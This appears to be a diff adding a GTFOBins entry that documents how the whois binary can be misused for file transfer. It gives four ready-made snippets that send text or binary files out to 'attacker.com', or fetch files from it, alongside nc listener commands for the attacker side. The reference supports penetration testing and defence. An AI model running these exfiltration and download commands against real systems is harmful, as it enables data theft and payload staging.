Add whois

Thanks to https://twitter.com/info_dox/status/1001985728342102017

_gtfobins/whois.md

@@ -0,0 +1,31 @@
+---
+description: |
+  `whois` hangs waiting for the remote peer to close the socket.
+functions:
+  upload:
+    - description: Send a text file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file. The file has a trailing `$'\x0d\x0a'` and its length is limited by the maximum size of arguments.
+      code: |
+        RHOST=attacker.com
+        RPORT=12345
+        LFILE=file_to_send
+        whois -h $RHOST -p $RPORT "`cat $LFILE`"
+    - description: Send a binary file to a TCP port. Run `nc -l -p 12345 | tr -d $'\x0d' | base64 -d > "where_to_save"` on the attacker box to collect the file. The file length is limited by the maximum size of arguments.
+      code: |
+        RHOST=attacker.com
+        RPORT=12345
+        LFILE=file_to_send
+        whois -h $RHOST -p $RPORT "`base64 $LFILE`"
+  download:
+    - description: Fetch remote text file from a remote TCP port. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file. The file has instances of `$'\x0d'` stripped.
+      code: |
+        RHOST=attacker.com
+        RPORT=12345
+        LFILE=where_to_save
+        whois -h $RHOST -p $RPORT > "$LFILE"
+    - description: Fetch remote binary file from a remote TCP port. Run `base64 "file_to_send" | nc -l -p 12345` on the attacker box to send the file.
+      code: |
+        RHOST=attacker.com
+        RPORT=12345
+        LFILE=where_to_save
+        whois -h $RHOST -p $RPORT | base64 -d > "$LFILE"
+---